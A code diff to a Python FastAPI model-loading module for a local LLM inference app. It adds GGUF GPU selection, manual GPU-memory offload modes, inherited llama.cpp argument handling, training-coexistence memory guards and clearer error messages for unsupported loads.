+        probe = LlamaCppBackend()
+        probe._read_gguf_metadata(str(main))
+        if probe.is_diffusion:
+            return True
+        # A successfully decoded architecture proves that this is a normal
+        # llama-server GGUF. No architecture means the lightweight probe could
+        # not establish the routing decision, so preserve the unknown state.
+        if getattr(probe, "_architecture", None):
+            return False
+        return None
+    except Exception as e:
+        logger.debug("Could not identify diffusion GGUF for training guard: %s", e)
+        return None
+
+
 def _guard_chat_load_against_training(
     config: ModelConfig,
     *,
@@ -2837,11 +3943,19 @@ def _guard_chat_load_against_training(
     requested_gpu_ids: Optional[List[int]],
     llama_extra_args: Optional[list[str]] = None,
     n_parallel: int = 1,
+    gpu_memory_mode: Literal["auto", "manual"] = "auto",
 ) -> None:
-    """Refuse loading a local chat model that would OOM an active training run.
+    """Protect active training from automatically placed chat-model loads.
+
     No-op when training is inactive or unknown. `load_in_4bit` must be the
-    effective quantization (see _effective_load_in_4bit). Raises HTTP 409 when the
-    model would not fit alongside training."""
+    effective quantization (see _effective_load_in_4bit). Manual chat-GGUF
+    placement is an explicit override: Auto layers delegate fitting to
+    llama.cpp's ``--fit`` and pinned layers are owned by the user, so neither is
+    estimated here. Diffusion is still guarded because its mode-agnostic runner
+    ignores those controls and uses one GPU. An unclassified GGUF is guarded as
+    potentially diffusion until its local header proves otherwise. Other loads
+    raise HTTP 409 when they would not fit beside training.
+    """
     from core.training import get_training_backend
     from routes.training_vram import can_load_chat_during_training
 
@@ -2853,6 +3967,19 @@ def _guard_chat_load_against_training(
         return
 
     is_gguf = bool(getattr(config, "is_gguf", False))
+    diffusion_kind = _classify_diffusion_gguf(config) if is_gguf else False
+    if is_gguf and gpu_memory_mode == "manual" and diffusion_kind is False:
+        return
+
+    diffusion_gpu = None
+    if is_gguf and diffusion_kind is not False:
+        # Use the same token selection as the runner: an explicit pick wins,
+        # followed by DG_GPU, the first parent-visible token, then GPU 0.
+        diffusion_gpu = LlamaCppBackend._diffusion_gpu_arg(
+            requested_gpu_ids,
+            cpu_only = LlamaCppBackend._effective_gpu_count() == 0,
+        )
+
     required_override_gb = (
         _estimate_gguf_required_gb(
             config,
@@ -2873,6 +4000,7 @@ def _guard_chat_load_against_training(
         requested_gpu_ids = requested_gpu_ids,
         is_gguf = is_gguf,
         required_override_gb = required_override_gb,
+        single_device_gpu = diffusion_gpu,
     )
     if ok:
         return
@@ -2900,6 +4028,98 @@ def _guard_chat_load_against_training(
     raise HTTPException(status_code = 409, detail = detail)
 
 
+def _resolve_inherited_extra_args(
+    request,
+    config: ModelConfig,
+    model_identifier: str,
+    extra_llama_args: Optional[list[str]],
+    effective_chat_template_override: Optional[str] = None,
+) -> Optional[list[str]]:
+    """Effective pass-through extras for a GGUF request that omitted the field:
+    the previous same-model load's extras, shadow-stripped, so a settings-Apply
+    reload (which does not round-trip the extras field) keeps them (#5401)."""
+    if getattr(request, "llama_extra_args", None) is not None:
+        return extra_llama_args
+    if not getattr(config, "is_gguf", False):
+        return extra_llama_args
+    llama_backend = get_llama_cpp_backend()
+    if not llama_backend.extra_args:
+        return extra_llama_args
+    # Inherit the previous load's extras (the chat-settings Apply path doesn't
+    # round-trip them; an explicit [] still clears). Gated on (model_identifier,
+    # hf_variant) to refuse cross-model pickup, and shadowing flags are
+    # stripped so an inherited override can't win the last-wins CLI
+    # parse against a freshly-supplied first-class field.
+    source = llama_backend.extra_args_source
+    # Compare against the resolved variant, not the request field: callers
+    # commonly omit gguf_variant for local ``.gguf`` paths and HF auto-pick
+    # flows. ``config.gguf_variant`` is the variant load_model was actually
+    # invoked with, so both sides of the comparison key off the same string.
+    resolved_variant = (config.gguf_variant or "").lower()
+    request_variant = (request.gguf_variant or "").lower()
+    stored_variant = (source[1] or "").lower() if source else ""
+    same_model = bool(source and source[0] and source[0].lower() == model_identifier.lower())
+    if request.gguf_variant:
+        variant_mismatch = request_variant != stored_variant
+    else:
+        variant_mismatch = bool(stored_variant and resolved_variant != stored_variant)
+    same_source = same_model and not variant_mismatch
+    if not same_source:
+        logger.info(
+            "Not inheriting llama_extra_args: stored args came from %s, loading %s",
+            source,
+            (model_identifier, resolved_variant),
+        )
+        # Cross-model: clear explicitly so the backend doesn't
+        # inherit via "no opinion" semantics.
+        extra_llama_args = []
+    else:
+        # Strip only the groups whose first-class field was set by the caller, so
+        # an inherited --chat-template-file survives an Apply that omits
+        # chat_template_override. A bundled family template (e.g. gemma-4) counts as
+        # a first-class template even when the request omits chat_template_override,
+        # so strip the inherited --chat-template-file then too -- else the stale arg
+        # (appended last) shadows the bundled template while Studio reports its caps.
+        fields_set = getattr(request, "model_fields_set", set())
+        stripped = strip_shadowing_flags(
+            llama_backend.extra_args,
+            strip_context = "max_seq_length" in fields_set,
+            strip_cache = "cache_type_kv" in fields_set,
+            strip_spec = ("speculative_type" in fields_set or "spec_draft_n_max" in fields_set),
+            strip_template = (
+                "chat_template_override" in fields_set
+                or effective_chat_template_override is not None
+            ),
+            strip_split_mode = _should_strip_split_mode(request, llama_backend.extra_args),
+            # manual + per-GPU ratio emits its own --tensor-split; drop
+            # an inherited one (appended last would override it) while
+            # keeping the user's --split-mode row/none/layer choice.
+            strip_tensor_split = _should_strip_tensor_split(request),
+            # manual emits its own --fit/--gpu-layers, so an inherited offload flag
+            # must not last-wins-override it. auto leaves a user's inherited -ngl
+            # alone. getattr: a validate request reuses this resolver, no offload fields.
+            strip_offload = getattr(request, "gpu_memory_mode", "auto") == "manual",
+        )
+        try:
+            extra_llama_args = validate_extra_args(stripped)
+        except ValueError:
+            # Shouldn't happen on already-validated args; degrade to
+            # no-extras rather than 400 if managed flags changed.
+            logger.warning(
+                "Stored llama_extra_args failed revalidation; loading without them: %s",
+                stripped,
+            )
+            extra_llama_args = []
+        else:
+            if extra_llama_args:
+                logger.info(
+                    "Inheriting llama_extra_args from previous "
+                    "load (same model, shadow-stripped): %s",
+                    extra_llama_args,
+                )
+    return extra_llama_args
+
+
 def _model_json_response(model, status_code: int = 200) -> Response:
     """Serialize a pydantic response once via pydantic-core.
 
@@ -2920,6 +4140,17 @@ _NOT_SUPPORTED_HINTS = (
     "does not support",
 )
 
+_NVFP4_INFERENCE_UNSUPPORTED_MESSAGE = (
+    "We are working on supporting NVFP4 inference. For now it is not supported"
+)
+
+
+def _is_unsupported_nvfp4_inference_error(msg: str) -> bool:
+    """Whether ``msg`` is the verbose MLX per-module metadata error emitted
+    while loading an NVFP4 checkpoint."""
+    lower_msg = msg.lower()
+    return "nvfp4" in lower_msg and "per-module mlx quantization metadata" in lower_msg
+
 
 def _maybe_unsupported_message(msg: str) -> str:
     """Rewrite a load/validate error into the friendly "not supported yet"
@@ -2930,6 +4161,15 @@ def _maybe_unsupported_message(msg: str) -> str:
     return msg
 
 
+def _raise_if_sidecar_swap_in_progress() -> None:
+    from utils.transformers_version import sidecar_swap_in_progress
+    if sidecar_swap_in_progress():
+        raise HTTPException(
+            status_code = 409,
+            detail = "A transformers installation is in progress. Retry when it completes.",
+        )
+
+
 @router.post("/load", response_model = LoadResponse)
 async def load_model(
     request: LoadRequest,
@@ -2945,19 +4185,37 @@ async def load_model(
 
     GGUF models load via llama-server (llama.cpp) instead of Unsloth.
     """
+    # A sidecar install that has reserved the swap must not lose to a load that
+    # then gets unloaded by the pre-swap teardown. Rechecked under the gate: an
+    # install can reserve while this request queues on the gate, so the pre-gate
+    # check alone is only a fast path.
+    from core.inference.llama_keepwarm import inference_lifecycle_gate
+
+    _raise_if_sidecar_swap_in_progress()
     # Hold the lifecycle gate across the load so idle auto-unload can't unload the
     # model mid-load. Auto-switch calls _load_model_impl directly since it already
     # holds this gate.
-    from core.inference.llama_keepwarm import inference_lifecycle_gate
     async with inference_lifecycle_gate():
+        _raise_if_sidecar_swap_in_progress()
         return await _load_model_impl(request, fastapi_request, current_subject)
 
 
-async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str):
+async def _load_model_impl(
+    request: LoadRequest,
+    fastapi_request: Request,
+    current_subject: str,
+    *,
+    current_request_counted: bool = False,
+):
     from core.inference.llama_cpp import LlamaServerNotFoundError
 
+    # A new load starts here; arm the progress throttle so this load's first
+    # sampled step logs even if it reports 100% immediately (cached/small load).
+    _reset_load_progress_step()
+
     native_grant_backed = False
     model_log_label = request.model_path
+    gguf_load_stack = ExitStack()
     try:
         # Validate user pass-through args up front so a managed-flag collision
         # returns 400 before any model work.
@@ -2976,6 +4234,35 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             None if request.llama_extra_args is None else extra_llama_args
         )
 
+        # Manual mode owns the offload flags: strip them from EXPLICIT extras
+        # too (the inherited path already does), or a last-wins --gpu-layers /
+        # --fit in extras re-enables GPU offload on a load status reports as
+        # CPU-only. Manual + per-GPU ratio owns --tensor-split the same way.
+        if request.gpu_memory_mode == "manual" and extra_llama_args:
+            _stripped_explicit = strip_shadowing_flags(
+                extra_llama_args,
+                strip_context = False,
+                strip_cache = False,
+                strip_spec = False,
+                strip_template = False,
+                strip_split_mode = False,
+                strip_tensor_split = _should_strip_tensor_split(request),
+                strip_offload = True,
+            )
+            if _stripped_explicit != extra_llama_args:
+                logger.info(
+                    "Manual GPU memory owns the offload flags; stripping them "
+                    "from explicit llama_extra_args: %s -> %s",
+                    extra_llama_args,
+                    _stripped_explicit,
+                )
+                extra_llama_args = _stripped_explicit
+
+        # Keep every downstream consumer on the normalized explicit list. In
+        # particular, the already-loaded comparator must not compare the raw
+        # request's managed offload flags against the stripped launch state.
+        request = request.model_copy(update = {"llama_extra_args": extra_llama_args})
+
         model_identifier, model_log_label, native_grant_backed = (
             _resolve_model_identifier_for_request(request, operation = "load-model")
         )
@@ -3057,6 +4344,13 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                     speculative_type = llama_backend.requested_spec_mode,
                     spec_draft_n_max = llama_backend.spec_draft_n_max,
                     tensor_parallel = llama_backend.tensor_parallel,
+                    gpu_memory_mode = llama_backend.gpu_memory_mode,
+                    gpu_layers = llama_backend.gpu_layers,
+                    n_cpu_moe = llama_backend.n_cpu_moe,
+                    tensor_split = llama_backend.tensor_split,
+                    n_layers = llama_backend.n_layers,
+                    n_moe_layers = llama_backend.n_moe_layers,
+                    gpu_ids = llama_backend.gpu_ids,
                 )
         else:
             if (
@@ -3123,11 +4417,49 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
         # Normalize gpu_ids: empty list means auto-selection, same as None
         effective_gpu_ids = request.gpu_ids if request.gpu_ids else None
 
-        # Reject GGUF + gpu_ids first so the guard can't mask it with a VRAM 409.
+        # GGUF supports gpu_ids: validate the pick up front (before the training
+        # guard) so a bad pick is a clean 400, not masked by a VRAM 409. Rejects
+        # negative / out-of-range / duplicate ids and UUID/MIG parents. XPU hosts
+        # are rejected outright: the picker's indices are torch-xpu ordinals neither
+        # applicator speaks (CUDA/HIP masks don't apply, the Vulkan --device pin
+        # uses ggml's own Vulkan ordinals), so a pick could land on the wrong device.
         if config.is_gguf and effective_gpu_ids is not None:
+            from utils.hardware import DeviceType, get_device
+            from utils.hardware.hardware import resolve_requested_gpu_ids
+
+            if get_device() == DeviceType.XPU:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "GPU selection (gpu_ids) is not supported on Intel XPU. "
+                        "Omit gpu_ids to use all devices."
+                    ),
+                )
+            # Same reasoning for a Vulkan-only build: --device pins ggml's own
+            # Vulkan ordinals, so a physical pick can land on the wrong card on
+            # masked or non-contiguous hosts.
+            if LlamaCppBackend._is_vulkan_backend():
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "GPU selection (gpu_ids) is not supported with a Vulkan "
+                        "llama.cpp build: physical GPU ids have no defined "
+                        "mapping to Vulkan device ordinals. Omit gpu_ids to use "
+                        "all devices."
+                    ),
+                )
+            try:
+                resolve_requested_gpu_ids(effective_gpu_ids)
+            except ValueError as exc:
+                raise HTTPException(status_code = 400, detail = str(exc)) from exc
+        if not config.is_gguf and _mlx_distributed_launch_detected():
             raise HTTPException(
                 status_code = 400,
-                detail = "gpu_ids is not supported for GGUF models yet.",
+                detail = (
+                    "Unsloth does not support distributed MLX inference under "
+                    "mlx.launch. Use `mlx.launch ... unsloth chat` or run Unsloth "
+                    "without the distributed launcher."
+                ),
             )
 
         # Effective quantization (LoRA can flip 4-bit -> 16-bit); guard + load reuse it.
@@ -3137,9 +4469,32 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 f"Resolved load_in_4bit={effective_load_in_4bit} for '{model_log_label}' "
                 f"from adapter_config.json / base model (requested {request.load_in_4bit})"
             )
+        # Latest-sidecar models load 16-bit (worker refuses bnb 4-bit); size the guard
+        # to match. Off-loop: tier resolution reads configs.
+        if effective_load_in_4bit and not config.is_gguf:
+            from utils.transformers_version import latest_tier_active_for
+            if await asyncio.to_thread(latest_tier_active_for, config.identifier, request.hf_token):
+                effective_load_in_4bit = False
+                logger.info(
+                    f"Latest-transformers sidecar active for '{model_log_label}' - "
+                    "sizing and loading in 16-bit (4-bit is disabled for brand-new "
+                    "architectures)"
+                )
 
-        # Refuse a load that would OOM active training, before the unload step below
-        # frees the resident model. Off-loop: guard does sync nvidia-smi / HF work.
+        # Inherit the previous same-model load's pass-through extras when this
+        # request omits the field (a settings-Apply reload doesn't round-trip
+        # them); shadow-stripped so an inherited flag can't override a
+        # first-class field the caller did set (#5401).
+        extra_llama_args = _resolve_inherited_extra_args(
+            request,
+            config,
+            model_identifier,
+            extra_llama_args,
+            effective_chat_template_override,
+        )
+
+        # Apply the training coexistence policy before the unload step below
+        # frees the resident model. Off-loop: the default-mode guard does sync work.
         await asyncio.to_thread(
             _guard_chat_load_against_training,
             config,
@@ -3150,6 +4505,7 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             requested_gpu_ids = effective_gpu_ids,
             llama_extra_args = extra_llama_args,
             n_parallel = getattr(fastapi_request.app.state, "llama_parallel_slots", 1),
+            gpu_memory_mode = request.gpu_memory_mode,
         )
 
         # ── GGUF path: load via llama-server ──────────────────────
@@ -3157,90 +4513,48 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             llama_backend = get_llama_cpp_backend()
             unsloth_backend = get_inference_backend()
 
-            # Unload any active Unsloth model to free VRAM
+            if config.gguf_hf_repo:
+                from core.inference.llama_cpp import gguf_load_in_flight
+                gguf_load_stack.enter_context(gguf_load_in_flight(config.gguf_hf_repo))
+
+            # Block cache writes that would race the download manager. This runs
+            # after pass-through argument inheritance so a carried --no-mmproj
+            # changes the companion requirement exactly as it does for the load.
+            if config.gguf_hf_repo:
+                from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+                if await asyncio.to_thread(
+                    _hub_download_blocks_gguf_load,
+                    config.gguf_hf_repo,
+                    config.gguf_variant,
+                    require_mmproj = bool(
+                        config.is_vision and not extra_args_disable_mmproj(extra_llama_args)
+                    ),
+                    hf_token = request.hf_token,
+                ):
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            f"'{model_log_label}' is currently being downloaded "
+                            "by the download manager. Wait for the download to "
+                            "finish (or cancel it), then load the model."
+                        ),
+                    )
+
+            # Keep the resident model alive until every active generation finishes;
+            # the caller's lifecycle gate blocks new starts.
+            await _wait_for_model_switch_idle(current_request_counted = current_request_counted)
+            # A sidecar install can reserve the gate while inference drains, after the
+            # route-level checks above, so recheck before replacing either backend.
+            _raise_if_sidecar_swap_in_progress()
+
+            # Unload any active Unsloth model only after every hub conflict check.
             if unsloth_backend.active_model_name:
                 logger.info(
                     f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF"
                 )
-                unsloth_backend.unload_model(unsloth_backend.active_model_name)
-
-            # Inherit llama_extra_args from the previous load when the request
-            # omits the field (the chat-settings Apply path doesn't round-trip
-            # them; explicit [] still clears). Gated on (model_identifier,
-            # hf_variant) to refuse cross-model pickup, and shadowing flags are
-            # stripped so an inherited override can't win the last-wins CLI
-            # parse against a freshly-supplied first-class field.
-            if request.llama_extra_args is None and llama_backend.extra_args:
-                source = llama_backend.extra_args_source
-                # Compare against the resolved variant, not the request
-                # field: callers commonly omit gguf_variant for local
-                # ``.gguf`` paths and HF auto-pick flows. ``config.gguf_
-                # variant`` is the variant load_model was actually
-                # invoked with (see the HF / local branches below), so
-                # both sides of the comparison key off the same string.
-                resolved_variant = (config.gguf_variant or "").lower()
-                request_variant = (request.gguf_variant or "").lower()
-                stored_variant = (source[1] or "").lower() if source else ""
-                same_model = bool(
-                    source and source[0] and source[0].lower() == model_identifier.lower()
+                await asyncio.to_thread(
+                    unsloth_backend.unload_model, unsloth_backend.active_model_name
                 )
-                if request.gguf_variant:
-                    variant_mismatch = request_variant != stored_variant
-                else:
-                    variant_mismatch = bool(stored_variant and resolved_variant != stored_variant)
-                same_source = same_model and not variant_mismatch
-                if not same_source:
-                    logger.info(
-                        "Not inheriting llama_extra_args: stored args came from %s, loading %s",
-                        source,
-                        (model_identifier, resolved_variant),
-                    )
-                    # Cross-model: clear explicitly so the backend doesn't
-                    # inherit via "no opinion" semantics.
-                    extra_llama_args = []
-                else:
-                    # Strip only the groups whose first-class field was set by
-                    # the caller, so an inherited --chat-template-file survives
-                    # an Apply that omits chat_template_override. A bundled family
-                    # template (e.g. the gemma-4 override) is an effective
-                    # first-class template setting even when the raw request
-                    # omits chat_template_override, so strip the inherited
-                    # --chat-template-file in that case too -- otherwise the stale
-                    # extra arg (appended last) shadows the bundled template while
-                    # Studio reports the bundled template's capabilities.
-                    fields_set = getattr(request, "model_fields_set", set())
-                    stripped = strip_shadowing_flags(
-                        llama_backend.extra_args,
-                        strip_context = "max_seq_length" in fields_set,
-                        strip_cache = "cache_type_kv" in fields_set,
-                        strip_spec = (
-                            "speculative_type" in fields_set or "spec_draft_n_max" in fields_set
-                        ),
-                        strip_template = (
-                            "chat_template_override" in fields_set
-                            or effective_chat_template_override is not None
-                        ),
-                        strip_split_mode = _should_strip_split_mode(
-                            request, llama_backend.extra_args
-                        ),
-                    )
-                    try:
-                        extra_llama_args = validate_extra_args(stripped)
-                    except ValueError:
-                        # Shouldn't happen on already-validated args; degrade to
-                        # no-extras rather than 400 if managed flags changed.
-                        logger.warning(
-                            "Stored llama_extra_args failed revalidation; loading without them: %s",
-                            stripped,
-                        )
-                        extra_llama_args = []
-                    else:
-                        if extra_llama_args:
-                            logger.info(
-                                "Inheriting llama_extra_args from previous "
-                                "load (same model, shadow-stripped): %s",
-                                extra_llama_args,
-                            )
 
             # Route to HF or local mode based on config. Run in a thread so the
             # event loop stays free for progress polling and other requests
@@ -3257,6 +4571,11 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 cache_type_kv = request.cache_type_kv,
                 speculative_type = request.speculative_type,
                 spec_draft_n_max = request.spec_draft_n_max,
+                gpu_memory_mode = request.gpu_memory_mode,
+                gpu_layers = request.gpu_layers,
+                n_cpu_moe = request.n_cpu_moe,
+                tensor_split = request.tensor_split,
+                gpu_ids = effective_gpu_ids,
                 n_parallel = _n_parallel,
             )
             if config.gguf_hf_repo:
@@ -3381,7 +4700,7 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             # Clear any idle-unload reload stash now, not only on the next poll.
             from core.inference.llama_keepwarm import note_model_loaded
 
-            note_model_loaded()
+            await asyncio.to_thread(note_model_loaded, llama_backend)
             # A plain load advertises its own identifier; auto-switch overwrites
             # this with the repo id right after _load_model_impl returns.
             llama_backend._openai_advertised_id = None
@@ -3424,6 +4743,13 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 speculative_type = llama_backend.requested_spec_mode,
                 spec_draft_n_max = llama_backend.spec_draft_n_max,
                 tensor_parallel = llama_backend.tensor_parallel,
+                gpu_memory_mode = llama_backend.gpu_memory_mode,
+                gpu_layers = llama_backend.gpu_layers,
+                n_cpu_moe = llama_backend.n_cpu_moe,
+                tensor_split = llama_backend.tensor_split,
+                n_layers = llama_backend.n_layers,
+                n_moe_layers = llama_backend.n_moe_layers,
+                gpu_ids = llama_backend.gpu_ids,
             )
 
         # ── Standard path: load via Unsloth/transformers ──────────
@@ -3431,6 +4757,8 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
 
         # Unload any active GGUF model first
         llama_backend = get_llama_cpp_backend()
+        await _wait_for_model_switch_idle(current_request_counted = current_request_counted)
+        _raise_if_sidecar_swap_in_progress()
         if llama_backend.is_loaded:
             logger.info("Unloading GGUF model before loading Unsloth model")
             llama_backend.unload_model()
@@ -3551,8 +4879,17 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
     except HTTPException:
         raise
     except ValueError as e:
+        redacted_msg = redact_native_paths(str(e))
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while loading '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 500,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.warning(
                 "Rejected inference selection for native model %s: %s",
                 model_log_label,
@@ -3561,15 +4898,29 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             raise HTTPException(status_code = 400, detail = redacted_msg)
         logger.warning("Rejected inference GPU selection: %s", e)
         # User-facing validation (e.g. "Invalid gpu_ids [99]"): redact paths, keep detail.
-        raise HTTPException(status_code = 400, detail = redact_native_paths(str(e)))
+        raise HTTPException(status_code = 400, detail = redacted_msg)
     except LlamaServerNotFoundError as e:
         # Missing GGUF runtime: 400 with the install message, not a generic 500.
         logger.warning("GGUF runtime missing while loading '%s': %s", model_log_label, e)
         raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Lost the spawn-time race to a sidecar install/repair: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         # Friendlier message for models Unsloth cannot load.
+        redacted_msg = redact_native_paths(str(e))
+        if _is_unsupported_nvfp4_inference_error(redacted_msg):
+            logger.warning(
+                "NVFP4 inference is not supported yet while loading '%s'",
+                model_log_label,
+            )
+            raise HTTPException(
+                status_code = 500,
+                detail = _NVFP4_INFERENCE_UNSUPPORTED_MESSAGE,
+            )
         if native_grant_backed:
-            redacted_msg = redact_native_paths(str(e))
             logger.error(
                 "Error loading native model %s: %s",
                 model_log_label,
@@ -3581,15 +4932,17 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
                 detail = f"Failed to load native model {model_log_label}: {msg}",
             )
         logger.error(f"Error loading model: {e}", exc_info = True)
-        msg = _maybe_unsupported_message(redact_native_paths(str(e)))
+        msg = _maybe_unsupported_message(redacted_msg)
         raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}")
+    finally:
+        gguf_load_stack.close()
 
 
 def _requires_trust_remote_code_for_model(
     model_identifier: str, hf_token: Optional[str] = None
 ) -> bool:
     """Whether loading this model would execute custom repo code, so the consent
-    dialog must run first. True if the Studio YAML default enables
+    dialog must run first. True if the Unsloth YAML default enables
     ``trust_remote_code`` OR the raw config declares an ``auto_map`` (Hub/local,
     config.json or tokenizer_config.json). Reads raw JSON only; never imports
     model code."""
@@ -3657,7 +5010,9 @@ def _requires_security_review_for_model(
 
 @router.post("/validate", response_model = ValidateModelResponse)
 async def validate_model(
-    request: ValidateModelRequest, current_subject: str = Depends(get_current_subject)
+    request: ValidateModelRequest,
+    fastapi_request: Request = None,
+    current_subject: str = Depends(get_current_subject),
 ):
     """
     Lightweight validation endpoint for model identifiers.
@@ -3685,26 +5040,40 @@ async def validate_model(
                 detail = f"Invalid model identifier: {model_log_label}",
             )
 
-        # Refuse early (before the frontend unloads to load this) if it can't fit
-        # alongside training, using the same settings /load uses so they agree.
+        # Apply the same training coexistence policy as /load before the frontend
+        # unloads the current model.
         effective_gpu_ids = request.gpu_ids if request.gpu_ids else None
-        # Mirror /load: reject GGUF + gpu_ids before the guard so both return 400.
+        # Mirror /load: GGUF supports gpu_ids, so validate the pick (a bad one is
+        # a clean 400) before the guard sizes the model against training VRAM.
+        # XPU-host picks are rejected like /load (no defined mapping from the
+        # picker's torch-xpu ordinals to the launcher's device spaces).
         if config.is_gguf and effective_gpu_ids is not None:
-            raise HTTPException(
-                status_code = 400,
-                detail = "gpu_ids is not supported for GGUF models yet.",
-            )
+            from utils.hardware import DeviceType, get_device
+            from utils.hardware.hardware import resolve_requested_gpu_ids
+
+            if get_device() == DeviceType.XPU:
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "GPU selection (gpu_ids) is not supported on Intel XPU. "
+                        "Omit gpu_ids to use all devices."
+                    ),
+                )
+            if LlamaCppBackend._is_vulkan_backend():
+                raise HTTPException(
+                    status_code = 400,
+                    detail = (
+                        "GPU selection (gpu_ids) is not supported with a Vulkan "
+                        "llama.cpp build: physical GPU ids have no defined "
+                        "mapping to Vulkan device ordinals. Omit gpu_ids to use "
+                        "all devices."
+                    ),
+                )
+            try:
+                resolve_requested_gpu_ids(effective_gpu_ids)
+            except ValueError as exc:
+                raise HTTPException(status_code = 400, detail = str(exc)) from exc
         effective_load_in_4bit = _effective_load_in_4bit(config, request.load_in_4bit)
-        # Off-loop: guard does sync nvidia-smi / HF work.
-        await asyncio.to_thread(
-            _guard_chat_load_against_training,
-            config,
-            model_identifier = model_identifier,
-            hf_token = request.hf_token,
-            load_in_4bit = effective_load_in_4bit,
-            max_seq_length = request.max_seq_length,
-            requested_gpu_ids = effective_gpu_ids,
-        )
 
         # Both checks cover the [adapter, base] set (matching the scan route and workers):
         # either repo can ship auto_map code or a poisoned pickle.
@@ -3721,26 +5090,106 @@ async def validate_model(
         security_targets = list(dict.fromkeys(security_targets))
 
         is_gguf = getattr(config, "is_gguf", False)
-        # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
-        # mixed repo are inert for this load, so gating on them is a false positive. Only
-        # run the remote-code/security preflight for non-GGUF loads.
+        # Does a newer transformers ship this model_type? Static overlay first, cached
+        # PyPI/main snapshot only for unknown types. Never fails validation; run before
+        # the training guard so an installable upgrade sizes as 16-bit.
+        transformers_upgrade: Optional[TransformersUpgradeInfo] = None
+        if not is_gguf:
+            from utils.transformers_latest import check_upgrade_for_model
+
+            # Cover [adapter, base]: the worker activates transformers for the base model.
+            for _target in security_targets:
+                _upgrade = await asyncio.to_thread(
+                    check_upgrade_for_model, _target, request.hf_token
+                )
+                if _upgrade is not None:
+                    transformers_upgrade = TransformersUpgradeInfo(**_upgrade)
+                    break
+
+        # Whether the model can load on the CURRENT transformers through its own remote
+        # code (auto_map, or the YAML trust default). Computed before the 16-bit flip
+        # because a model with this fallback still loads 4-bit without the offered install,
+        # exactly as /load does.
         requires_trust_remote_code = False
-        requires_security_review = False
         if not is_gguf:
             requires_trust_remote_code = any(
                 _requires_trust_remote_code_for_model(_t, request.hf_token)
                 for _t in security_targets
             )
+
+        # Mirror /load's latest-sidecar 16-bit flip so the guard sizes it the same way. An
+        # ALREADY-ACTIVE latest sidecar always forces 16-bit (the worker will). A merely
+        # OFFERED (not yet installed) upgrade forces 16-bit only when the model has NO
+        # custom-code fallback: with auto_map it still loads 4-bit on the current
+        # transformers (as /load does without a successful install), and the install route
+        # refuses while training is active, so sizing 16-bit here would 409 the only viable
+        # 4-bit path. /load re-sizes 16-bit after a successful install and re-guards there.
+        if effective_load_in_4bit and not is_gguf:
+            from utils.transformers_version import latest_tier_active_for
+            _install_only_upgrade = (
+                transformers_upgrade is not None
+                and transformers_upgrade.supported_in_pypi
+                and transformers_upgrade.pypi_version
+                and not requires_trust_remote_code
+            )
+            if _install_only_upgrade or await asyncio.to_thread(
+                latest_tier_active_for, config.identifier, request.hf_token
+            ):
+                effective_load_in_4bit = False
+        # A metadata-only probe reads the GGUF header and allocates no VRAM, so the
+        # training guard must not refuse it. Real loads omit include_context_length /
+        # include_chat_template, and /load applies the guard again.
+        if not (request.include_context_length or request.include_chat_template):
+            # Match /load's inherited llama.cpp extras and parallel slot count so
+            # validation cannot pass a smaller estimate than the subsequent load.
+            effective_extra_args = _resolve_inherited_extra_args(
+                request, config, model_identifier, None
+            )
+            # Off-loop: guard does sync nvidia-smi / HF work.
+            await asyncio.to_thread(
+                _guard_chat_load_against_training,
+                config,
+                model_identifier = model_identifier,
+                hf_token = request.hf_token,
+                load_in_4bit = effective_load_in_4bit,
+                max_seq_length = request.max_seq_length,
+                requested_gpu_ids = effective_gpu_ids,
+                llama_extra_args = effective_extra_args,
+                n_parallel = (
+                    getattr(fastapi_request.app.state, "llama_parallel_slots", 1)
+                    if fastapi_request is not None
+                    else 1
+                ),
+                gpu_memory_mode = request.gpu_memory_mode,
+            )
+
+        # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
+        # mixed repo are inert for this load, so gating on them is a false positive. Only
+        # run the security preflight for non-GGUF loads (requires_trust_remote_code was
+        # already resolved above for the sizing flip).
+        requires_security_review = False
+        if not is_gguf:
             requires_security_review = any(
                 _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets
             )
         # Native context length, read from the local GGUF header when present.
         # Lets the staged ("Load on selection" off) flow populate the context
         # slider before the GPU load; None until the file is downloaded.
+        # Staged header dims (one read): native context, total layer count, and
+        # MoE expert-layer count -- let the staged flow size the context, GPU-
+        # layers and manual --n-cpu-moe sliders before the load.
         context_length: Optional[int] = None
-        if request.include_context_length and is_gguf:
+        layer_count: Optional[int] = None
+        moe_layer_count: Optional[int] = None
+        chat_template: Optional[str] = None
+        # Both header probes read the same local GGUF, so resolve it once.
+        if (request.include_context_length or request.include_chat_template) and is_gguf:
             from hub.utils.gguf import resolve_local_gguf_path
